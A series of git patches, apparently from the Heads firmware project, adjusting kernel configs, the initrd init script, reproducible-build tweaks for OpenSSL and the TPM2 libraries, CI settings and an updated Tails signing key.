@@ CONFIG_RTC_DRV_OPAL=y # CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_SELFTESTS is not set # end of DMABUF options @@ -2755,11 +2754,8 @@ CONFIG_PROC_PAGE_MONITOR=y # CONFIG_PROC_CHILDREN is not set CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -CONFIG_TMPFS_POSIX_ACL=y -CONFIG_TMPFS_XATTR=y +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -2903,7 +2899,6 @@ CONFIG_IO_WQ=y CONFIG_KEYS=y # CONFIG_KEYS_REQUEST_CACHE is not set # CONFIG_PERSISTENT_KEYRINGS is not set -# CONFIG_BIG_KEYS is not set # CONFIG_TRUSTED_KEYS is not set CONFIG_ENCRYPTED_KEYS=y # CONFIG_KEY_DH_OPERATIONS is not set diff --git a/config/linux-w541.config b/config/linux-w541.config index 7e520b220..2ba0a56af 100644 --- a/config/linux-w541.config +++ b/config/linux-w541.config @@ -157,6 +157,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2252,7 +2253,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2517,18 +2517,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m diff --git a/config/linux-x230-flash.config b/config/linux-x230-flash.config index 1e115d137..e5030ebc3 100644 --- a/config/linux-x230-flash.config +++ b/config/linux-x230-flash.config @@ -1864,7 +1864,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2135,12 +2134,8 @@ CONFIG_PROC_SYSCTL=y CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m diff --git a/config/linux-x230-legacy.config b/config/linux-x230-legacy.config index 84cbacca1..792edc792 100644 --- a/config/linux-x230-legacy.config +++ b/config/linux-x230-legacy.config @@ -1978,7 +1978,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2249,12 +2248,8 @@ CONFIG_PROC_SYSCTL=y CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m diff --git a/config/linux-x230-maximized.config b/config/linux-x230-maximized.config index b408cd0e5..2ebbc1781 100644 --- a/config/linux-x230-maximized.config +++ b/config/linux-x230-maximized.config @@ -157,6 +157,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2235,7 +2236,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2500,18 +2500,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m From c73687a2327416a64c39e3fb7623c5b9eb2c91e3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 1 Apr 2024 15:20:49 -0400 Subject: [PATCH 032/619] init: Adding checks for sysfs and runtime panic_on_oom=1 Signed-off-by: Thierry Laurion --- initrd/init | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/initrd/init b/initrd/init index 44cde9fa9..67a179b76 100755 --- a/initrd/init +++ b/initrd/init @@ -24,7 +24,7 @@ if [ "$CONFIG_LINUXBOOT" = "y" ]; then mount /sys/firmware/efi/efivars fi -# Setup the pty psudeo filesystem +# Setup the pty pseudo filesystem mkdir /dev/pts mount /dev/pts 2>/dev/ttyprintk @@ -78,6 +78,23 @@ fi TRACE "Under init" +# make sure we have sysctl requirements +if [ ! -d /proc/sys ]; then + warn "BUG!!! The following requirements to apply runtime kernel tweaks are missing:" + warn "CONFIG_SYSCTL=y" + warn "CONFIG_PROC_SYSCTL=y" + warn "Please open an issue" +fi + +if [ ! -e /proc/sys/vm/panic_on_oom ]; then + warn "BUG!!! Requirements to setup Panic when under Out Of Memory situation through PROC_SYSCTL are missing (panic_on_oom was not enabled)" + warn "Please open an issue" +else + DEBUG "Applying panic_on_oom setting to sysctl" + echo 1 > /proc/sys/vm/panic_on_oom +fi + + # set CONFIG_TPM dynamically before init if [ ! -e /dev/tpm0 ]; then CONFIG_TPM='n' From 18e7be8ab7d5110577d97d1b4d1e24cc11082fe7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 2 Apr 2024 17:06:12 -0400 Subject: [PATCH 033/619] Makefile: add real.gitclean target which calls 'git clean -fxd' Ease cleaning up everything. IMOH better then real.clean target Signed-off-by: Thierry Laurion --- Makefile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Makefile b/Makefile index a64d4b09f..4f113d9c9 100644 --- a/Makefile +++ b/Makefile @@ -793,3 +793,5 @@ real.clean: fi; \ done cd install && rm -rf -- * +real.gitclean: + git clean -fxd From d7915e16391216f27175bfd15d8d1d2dd838101f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 27 Mar 2024 16:14:31 -0400 Subject: [PATCH 034/619] OpenSSL (libcrypto): patch so that crypto/buildinfo.h generated by perl script contains reproducible date and fake compiler_flags hardcode VERSION='reproducible_build' into generated configure script to get rid of generate random git abbrev 8/12 chars (could not find source) patches/openssl-3.0.8.patch: clean up tpm2-tools/tpm2-tss: hack configure scripts to not contain hardcoded libs and other rpath related strings, using sed instead of patching configure script like cryptsetup2 patch Will be clened up in other commits. Leaving here as trace for autotools sed patching for reproducible builds. CircleCI: change working dir from project->heads so that CircleCI and local builds are from heads directory, helping reproducible builds TODO: change other patches a well and generalize to gpg toolstack, removing patches that are a maintainership burden. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 17 ++++++++++------- modules/tpm2-tools | 13 ++++++++++++- modules/tpm2-tss | 14 ++++++++++++++ patches/openssl-3.0.8.patch | 35 +++++++++++++++++++++++++++++++++++ 4 files changed, 71 insertions(+), 8 deletions(-) create mode 100644 patches/openssl-3.0.8.patch diff --git a/.circleci/config.yml b/.circleci/config.yml index d0bff5776..303e11219 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,6 +45,7 @@ jobs: docker: - image: debian:11 resource_class: large + working_directory: ~/heads steps: - run: name: Install dependencies @@ -53,7 +54,6 @@ jobs: apt update apt install -y build-essential zlib1g-dev uuid-dev libdigest-sha-perl libelf-dev bc bzip2 bison flex git gnupg gawk iasl m4 nasm patch python python2 python3 wget gnat cpio ccache pkg-config cmake libusb-1.0-0-dev autoconf texinfo ncurses-dev doxygen graphviz udev libudev1 libudev-dev automake libtool rsync innoextract sudo imagemagick libncurses5-dev - checkout - - run: name: git reset command: | @@ -120,6 +120,7 @@ jobs: docker: - image: debian:11 resource_class: large + working_directory: ~/heads parameters: arch: type: string @@ -138,15 +139,16 @@ jobs: - persist_to_workspace: root: ~/ paths: - - project/packages/<> - - project/build/<> - - project/crossgcc/<> - - project/install/<> + - heads/packages/<> + - heads/build/<> + - heads/crossgcc/<> + - heads/install/<> build: docker: - image: debian:11 resource_class: large + working_directory: ~/heads parameters: arch: type: string @@ -167,6 +169,7 @@ jobs: docker: - image: debian:11 resource_class: large + working_directory: ~/heads steps: - attach_workspace: at: ~/ @@ -236,13 +239,12 @@ workflows: # since kernel is 6.x and coreboot is git is unshared # We use nitropad's coreboot's fork crossgcc # No need to wait further for other board's cache. - # We reuse built modules from x230-hotp-maximized cache only - build_and_persist: name: nitropad-nv41 target: nitropad-nv41 subcommand: "" requires: - - x230-hotp-maximized + - prep_env # coreboot-git Talos II (PPC) - build_and_persist: @@ -527,3 +529,4 @@ workflows: # path: build/UNMAINTAINED_qemu-linuxboot/linuxboot.rom # - store-artifacts: # path: build/UNMAINTAINED_qemu-linuxboot/hashes.txt + diff --git a/modules/tpm2-tools b/modules/tpm2-tools index 98711195a..7407dae0c 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -18,7 +18,18 @@ tpm2-tools_url := https://github.com/tpm2-software/tpm2-tools/releases/download/ tpm2-tools_hash := c0b402f6a7b3456e8eb2445211e2d41c46c7e769e05fe4d8909ff64119f7a630 # we have ESYS 3.0, but it doesn't figure that out on its own -tpm2-tools_configure := ./bootstrap && ./configure \ +tpm2-tools_configure := \ + ./bootstrap \ + && sed -i 's/hardcode_direct=yes/hardcode_direct=no/g' configure \ + && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=" "/' configure \ + && sed -i 's/hardcode_minus_L=yes/hardcode_minus_L=no/g' configure \ + && sed -i 's/hardcode_automatic=yes/hardcode_automatic=no/g' configure \ + && sed -i 's/hardcode_runpath_var=yes/hardcode_runpath_var=no/g' configure \ + && sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure \ + && sed -i 's/hardcode_direct_absolute=yes/hardcode_direct_absolute=no/g' configure \ + && sed -i 's/inherit_rpath=yes/inherit_rpath=no/g' configure \ + && sed -i "s/VERSION='.*'/VERSION='reproducible_build'/g" configure \ + && ./configure \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ diff --git a/modules/tpm2-tss b/modules/tpm2-tss index 0fad79ef5..eb5af1b47 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -8,6 +8,20 @@ tpm2-tss_url := https://github.com/tpm2-software/tpm2-tss/releases/download/$(tp tpm2-tss_hash := 48305e4144dcf6d10f3b25b7bccf0189fd2d1186feafd8cd68c6b17ecf0d7912 tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ + && sed -i 's/hardcode_direct=yes/hardcode_direct=no/g' configure \ + && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=" "/' configure \ + && sed -i 's/hardcode_minus_L=yes/hardcode_minus_L=no/g' configure \ + && sed -i 's/hardcode_direct_absolute=yes/hardcode_direct_absolute=no/g' configure \ + && sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure \ + && sed -i 's/hardcode_libdir_flag_spec_CXX=.*/hardcode_libdir_flag_spec_CXX=" "/' configure \ + && sed -i 's/hardcode_automatic=yes/hardcode_automatic=no/g' configure \ + && sed -i 's/hardcode_runpath_var=yes/hardcode_runpath_var=no/g' configure \ + && sed -i 's/hardcode_direct_CXX=yes/hardcode_direct_CXX=no/g' configure \ + && sed -i 's/hardcode_direct_absolute_CXX=yes/hardcode_direct_absolute_CXX=no/g' configure \ + && sed -i 's/hardcode_minus_L_CXX=yes/hardcode_minus_L_CXX=no/g' configure \ + && sed -i 's/hardcode_automatic_CXX=yes/hardcode_automatic_CXX=no/g' configure \ + && sed -i 's/inherit_rpath=yes/inherit_rpath=no/g' configure \ + && sed -i 's/inherit_rpath_CXX=yes/inherit_rpath_CXX=no/g' configure \ && ./configure \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ diff --git a/patches/openssl-3.0.8.patch b/patches/openssl-3.0.8.patch new file mode 100644 index 000000000..db4e79e4d --- /dev/null +++ b/patches/openssl-3.0.8.patch @@ -0,0 +1,35 @@ +--- ./util/mkbuildinf.pl.orig 2023-02-07 08:43:33.000000000 -0500 ++++ ./util/mkbuildinf.pl 2024-03-27 14:36:49.974651246 -0400 +@@ -12,7 +12,7 @@ + my ($cflags, $platform) = @ARGV; + $cflags = "compiler: $cflags"; + +-my $date = gmtime($ENV{'SOURCE_DATE_EPOCH'} || time()) . " UTC"; ++my $date = gmtime($ENV{'SOURCE_DATE_EPOCH'} || '0') . " UTC"; + + print <<"END_OUTPUT"; + /* +@@ -36,21 +36,7 @@ + * literal + */ + static const char compiler_flags[] = { +-END_OUTPUT +- +-my $ctr = 0; +-foreach my $c (split //, $cflags) { +- $c =~ s|([\\'])|\\$1|; +- # Max 16 characters per line +- if (($ctr++ % 16) == 0) { +- if ($ctr != 1) { +- print "\n"; +- } +- print " "; +- } +- print "'$c',"; +-} +-print <<"END_OUTPUT"; +-'\\0' ++ 'r','e','p','r','o','d','u','c','i','b','l','e',' ','b','u','i', ++ 'l','d','\\0' + }; + END_OUTPUT From ddef2337083206a2811cc20bf98afc4145a55988 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 2 Apr 2024 12:18:39 -0400 Subject: [PATCH 035/619] modules-tpm2-tools: bump from 5.2->5.6 (removes need to hack around PACKAGE_VERSION string which configure.ac points to ./VERSION already tpm2-tools-5.6 patch: comment out git versioning output under ./VERSION; module: output current version under ./VERSION instead. Document under module Signed-off-by: Thierry Laurion --- modules/tpm2-tools | 26 ++++++++++------------ patches/tpm2-tools-5.2.patch | 33 ---------------------------- patches/tpm2-tools-5.6.patch | 42 ++++++++++++++++++++++++++++++++++++ 3 files changed, 53 insertions(+), 48 deletions(-) delete mode 100644 patches/tpm2-tools-5.2.patch create mode 100644 patches/tpm2-tools-5.6.patch diff --git a/modules/tpm2-tools b/modules/tpm2-tools index 7407dae0c..df06afaf3 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -8,34 +8,30 @@ ifeq "$(CONFIG_TPM2_TOOLS)" "y" export CONFIG_TPM=y endif -tpm2-tools_version := 5.2 +tpm2-tools_version := 5.6 #tpm2-tools_version := 78a7681 #tpm2-tools_repo := https://github.com/tpm2-software/tpm2-tools.git tpm2-tools_dir := tpm2-tools-$(tpm2-tools_version) tpm2-tools_tar := tpm2-tools-$(tpm2-tools_version).tar.gz tpm2-tools_url := https://github.com/tpm2-software/tpm2-tools/releases/download/$(tpm2-tools_version)/$(tpm2-tools_tar) -tpm2-tools_hash := c0b402f6a7b3456e8eb2445211e2d41c46c7e769e05fe4d8909ff64119f7a630 +tpm2-tools_hash := 52c8bcbaadca082abfe5eb7ee4967d2d632d84b1677675f2f071b6d2ec22cec3 -# we have ESYS 3.0, but it doesn't figure that out on its own +#tpm2-tools 5.6 adds release version based on git, while tarball downloaded doesn't include any .git +# the patch comments out git output to ./VERSION, and we fill it here based on this Makefile's version +#tpm2-tools doesn't play nice with reproducible builds, hardcoding lib paths without providing a configure option to remove rpaths +# We make sure no hardcoding of libdir flags exist in configure script prior of calling the script with sed call +# We pass additional remapping of prefix-map from $INSTALL to local dir tpm2-tools_configure := \ - ./bootstrap \ - && sed -i 's/hardcode_direct=yes/hardcode_direct=no/g' configure \ - && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=" "/' configure \ - && sed -i 's/hardcode_minus_L=yes/hardcode_minus_L=no/g' configure \ - && sed -i 's/hardcode_automatic=yes/hardcode_automatic=no/g' configure \ - && sed -i 's/hardcode_runpath_var=yes/hardcode_runpath_var=no/g' configure \ - && sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure \ - && sed -i 's/hardcode_direct_absolute=yes/hardcode_direct_absolute=no/g' configure \ - && sed -i 's/inherit_rpath=yes/inherit_rpath=no/g' configure \ - && sed -i "s/VERSION='.*'/VERSION='reproducible_build'/g" configure \ + echo "$(tpm2-tools_version)" > ./VERSION \ + && ./bootstrap \ + && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=/' configure \ && ./configure \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ --disable-fapi \ - TSS2_ESYS_3_0_CFLAGS="-I$(INSTALL)/include" \ - TSS2_ESYS_3_0_LIBS="-ltss2-esys" \ + CFLAGS="-fdebug-prefix-map=$(INSTALL)=." \ tpm2-tools_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/patches/tpm2-tools-5.2.patch b/patches/tpm2-tools-5.2.patch deleted file mode 100644 index f4720f230..000000000 --- a/patches/tpm2-tools-5.2.patch +++ /dev/null @@ -1,33 +0,0 @@ -diff --git a/Makefile.am b/Makefile.am -index 7132215..32e2193 100644 ---- a/Makefile.am -+++ b/Makefile.am -@@ -93,7 +93,7 @@ tss2_tools = \ - - # Bundle all the tools into a single program similar to busybox - bin_PROGRAMS += tools/tpm2 --tools_tpm2_LDADD = $(LDADD) $(CURL_LIBS) -+tools_tpm2_LDADD = $(LDADD) - tools_tpm2_CFLAGS = $(AM_CFLAGS) -DTPM2_TOOLS_MAX="$(words $(tpm2_tools))" - tools_tpm2_SOURCES = \ - tools/tpm2_tool.c \ -@@ -127,7 +127,6 @@ tpm2_tools = \ - tools/tpm2_encryptdecrypt.c \ - tools/tpm2_evictcontrol.c \ - tools/tpm2_flushcontext.c \ -- tools/tpm2_getekcertificate.c \ - tools/tpm2_getrandom.c \ - tools/tpm2_gettime.c \ - tools/tpm2_hash.c \ -diff --git a/configure.ac b/configure.ac -index f1c1711..7279baa 100644 ---- a/configure.ac -+++ b/configure.ac -@@ -59,7 +59,6 @@ PKG_CHECK_MODULES([TSS2_MU], [tss2-mu]) - PKG_CHECK_MODULES([TSS2_RC], [tss2-rc]) - PKG_CHECK_MODULES([TSS2_SYS], [tss2-sys]) - PKG_CHECK_MODULES([CRYPTO], [libcrypto >= 1.1.0]) --PKG_CHECK_MODULES([CURL], [libcurl]) - - # pretty print of devicepath if efivar library is present - PKG_CHECK_MODULES([EFIVAR], [efivar],,[true]) diff --git a/patches/tpm2-tools-5.6.patch b/patches/tpm2-tools-5.6.patch new file mode 100644 index 000000000..991d0791c --- /dev/null +++ b/patches/tpm2-tools-5.6.patch @@ -0,0 +1,42 @@ +--- ./bootstrap.orig 2023-11-08 02:19:36.000000000 -0500 ++++ ./bootstrap 2024-04-03 12:18:46.722995465 -0400 +@@ -5,7 +5,7 @@ + + # Generate a VERSION file that is included in the dist tarball to avoid needed git + # when calling autoreconf in a release tarball. +-git describe --tags --always --dirty > VERSION ++#git describe --tags --always --dirty > VERSION + + # generate list of source files for use in Makefile.am + # if you add new source files, you must run ./bootstrap again +diff --git a/Makefile.am b/Makefile.am +index 7132215..32e2193 100644 +--- a/Makefile.am ++++ b/Makefile.am +@@ -93,7 +93,7 @@ tss2_tools = \ + + # Bundle all the tools into a single program similar to busybox + bin_PROGRAMS += tools/tpm2 +-tools_tpm2_LDADD = $(LDADD) $(CURL_LIBS) ++tools_tpm2_LDADD = $(LDADD) + tools_tpm2_CFLAGS = $(AM_CFLAGS) -DTPM2_TOOLS_MAX="$(words $(tpm2_tools))" + tools_tpm2_SOURCES = \ + tools/tpm2_tool.c \ +@@ -127,7 +127,6 @@ tpm2_tools = \ + tools/tpm2_encryptdecrypt.c \ + tools/tpm2_evictcontrol.c \ + tools/tpm2_flushcontext.c \ +- tools/tpm2_getekcertificate.c \ + tools/tpm2_getrandom.c \ + tools/tpm2_gettime.c \ + tools/tpm2_hash.c \ +--- ./configure.ac.orig 2023-11-08 02:19:36.000000000 -0500 ++++ ./configure.ac 2024-04-02 12:05:00.270985575 -0400 +@@ -80,7 +80,6 @@ + AC_CHECK_LIB(crypto, [EVP_sm4_cfb128], [ + AC_DEFINE([HAVE_EVP_SM4_CFB], [1], [Support EVP_sm4_cfb in openssl])], + []) +-PKG_CHECK_MODULES([CURL], [libcurl]) + + # pretty print of devicepath if efivar library is present + # auto detect if not specified via the --with-efivar option. From 8208c86efefa5df2e28f63417fba86b8e09ff8c1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 2 Apr 2024 16:02:13 -0400 Subject: [PATCH 036/619] modules/tpm2-tss: sed configure script to remove hardcoding of libs, move patch 3.2.0->3.2.2 disable static lib builds Signed-off-by: Thierry Laurion --- modules/tpm2-tss | 26 ++++++++----------- ...2-tss-3.2.0.patch => tpm2-tss-3.2.2.patch} | 0 2 files changed, 11 insertions(+), 15 deletions(-) rename patches/{tpm2-tss-3.2.0.patch => tpm2-tss-3.2.2.patch} (100%) diff --git a/modules/tpm2-tss b/modules/tpm2-tss index eb5af1b47..3795e21f5 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -1,27 +1,22 @@ # TPM2 TSS library modules-$(CONFIG_TPM2_TSS) += tpm2-tss -tpm2-tss_version := 3.2.0 +tpm2-tss_version := 3.2.2 tpm2-tss_dir := tpm2-tss-$(tpm2-tss_version) tpm2-tss_tar := tpm2-tss-$(tpm2-tss_version).tar.gz tpm2-tss_url := https://github.com/tpm2-software/tpm2-tss/releases/download/$(tpm2-tss_version)/$(tpm2-tss_tar) -tpm2-tss_hash := 48305e4144dcf6d10f3b25b7bccf0189fd2d1186feafd8cd68c6b17ecf0d7912 +tpm2-tss_hash := ba9e52117f254f357ff502e7d60fce652b3bfb26327d236bbf5ab634235e40f1 +#Repro checks: +# find build/x86/tpm2-tss-3.2.2/src/*/.libs/libtss2-*so* | while read file; do echo "library $file:"; strings $file|grep heads; done +# Should not return any result + +#NEEDED otherwise output on previous command +#sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure +# needed otherwise library build/x86/tpm2-tss-3.2.2/src/tss2-tcti/.libs/libtss2-tcti-pcap.so.0.0.0: +# contains: /home/user/heads/build/x86/tpm2-tss-3.2.2/src/tss2-tcti/.libs:/home/user/heads/build/x86/tpm2-tss-3.2.2/src/tss2-mu/.libs://lib tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ - && sed -i 's/hardcode_direct=yes/hardcode_direct=no/g' configure \ - && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=" "/' configure \ - && sed -i 's/hardcode_minus_L=yes/hardcode_minus_L=no/g' configure \ - && sed -i 's/hardcode_direct_absolute=yes/hardcode_direct_absolute=no/g' configure \ && sed -i 's/hardcode_into_libs=yes/hardcode_into_libs=no/g' configure \ - && sed -i 's/hardcode_libdir_flag_spec_CXX=.*/hardcode_libdir_flag_spec_CXX=" "/' configure \ - && sed -i 's/hardcode_automatic=yes/hardcode_automatic=no/g' configure \ - && sed -i 's/hardcode_runpath_var=yes/hardcode_runpath_var=no/g' configure \ - && sed -i 's/hardcode_direct_CXX=yes/hardcode_direct_CXX=no/g' configure \ - && sed -i 's/hardcode_direct_absolute_CXX=yes/hardcode_direct_absolute_CXX=no/g' configure \ - && sed -i 's/hardcode_minus_L_CXX=yes/hardcode_minus_L_CXX=no/g' configure \ - && sed -i 's/hardcode_automatic_CXX=yes/hardcode_automatic_CXX=no/g' configure \ - && sed -i 's/inherit_rpath=yes/inherit_rpath=no/g' configure \ - && sed -i 's/inherit_rpath_CXX=yes/inherit_rpath_CXX=no/g' configure \ && ./configure \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ @@ -31,6 +26,7 @@ tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ --disable-doxygen-rtf \ --disable-doxygen-html \ --disable-fapi \ + --disable-static \ # Run one build to generate the executables with the pre-defined # exec_prefix and datarootdir, then a second make to install the binaries diff --git a/patches/tpm2-tss-3.2.0.patch b/patches/tpm2-tss-3.2.2.patch similarity index 100% rename from patches/tpm2-tss-3.2.0.patch rename to patches/tpm2-tss-3.2.2.patch From f525b9337d5b5a95287ed7bdca78cbf8b746dcd3 Mon Sep 17 00:00:00 2001 From: 0xF4CED <24809481+0xF4CED@users.noreply.github.com> Date: Thu, 4 Apr 2024 00:15:52 +0200 Subject: [PATCH 037/619] Update tails.key Key expired: 2024-01-04 Replace with clean export of updated [Tails](https://tails.net/tails-signing.key) signing key. Signed-off-by: 0xF4CED <24809481+0xF4CED@users.noreply.github.com> --- initrd/etc/distro/keys/tails.key | 645 ++++++++++++++----------------- 1 file changed, 288 insertions(+), 357 deletions(-) diff --git a/initrd/etc/distro/keys/tails.key b/initrd/etc/distro/keys/tails.key index 307a0d896..76d72d98c 100644 --- a/initrd/etc/distro/keys/tails.key +++ b/initrd/etc/distro/keys/tails.key @@ -11,361 +11,292 @@ zXSl42yg3EEsJlijBSR3wsIJ3+sWvQPMBdjgN0RjvoyI+zI7BeP8LC6ngz3GC8JS D5B8XNUYV32tlCs1ILdUPUF1BbxH2sWxysbpl9RvOG56JArSG2k+KlihXH5fmNiC NMWZ5vBShQ+bpBXh55fu3F7axequpWzocRfH+mfvBh5yvZnjDRGC3UZ06CFWN6JP 8wDFR+o8ZHSsq0Gx/2mIXVsJT6h0mF92Q1iqH2SQhFeRL3M+RcED6Bx33QARAQAB -tCFUYWlscyBkZXZlbG9wZXJzIDx0YWlsc0Bib3VtLm9yZz6JAlQEEwEKAD4CGwEF -CwkIBwMFFQoJCAsFFgIDAQACHgECF4AWIQSkkND00xGkFT4rt8rbuAKyWKzYTwUC -Y2zGDAUJENq7XgAKCRDbuAKyWKzYT2Z2D/0ccl30KGx55pfkEEkBnZ2FVAJu8oFL -ObMyuWxNgZg70aMCtBiZzDmpJUb5XC683aiHX5E11O7Oe3X2+uWJy2VAVTbAprBe -ZCE0cgT7WH08SQdWhiLD65ZBTspweQ4nJMXJn8LoVO/P4+nBuKjdW4DMmbxid7nU -3h439DKKpuZuYvbXOZpf6c7fkCpzG3Nu4MbQuvSCQTDGxb6LdacigFd4NU6bFWT4 -p4e4/Z/pK7Fgj++sKasi6NVr00uy/Zc31EV72+b5AceFEOlxd66ZzFTVSudIAXAQ -9nONxDgu/j+ua1Een4Jx08bhx2Kf0B3r2bJqN2bIzLgmwTM8gubkZjFmsBnSIBNs -wIUvFzOfwFl/vSMWzOMrVqe5oUDZt+ehpXP9K4B5XpG5elEQ/k1JASdeMSYjJBa4 -nrCUpjwD7zamsTwYaGxIXaieh0uBnBpfqS84Je7LX0fPOgC5MuuJ/H5qrAnRwDHu -Kx3oKhuaKLgFFDslY1kKSZAVD+gUCwNSE3YFKfjaFhAe2IsXoCnycU8BH35mV2oO -HugJaSuyZZlPBHPO01nCYfw/oOk38ou9bXf/uNFJWcjwCk/n7gYkU5rPGf9MKoDD -9BQ4HMeuzH4AgWFUsWHwPFXYMYHnY9x6bMO8x4VfiM+gPwtrqC+Z65m6W2F7UZxC -dd2l1+WPzkydXrRCVGFpbHMgZGV2ZWxvcGVycyAob2ZmbGluZSBsb25nLXRlcm0g -aWRlbnRpdHkga2V5KSA8dGFpbHNAYm91bS5vcmc+iQJUBBMBCgA+AhsBBQsJCAcD 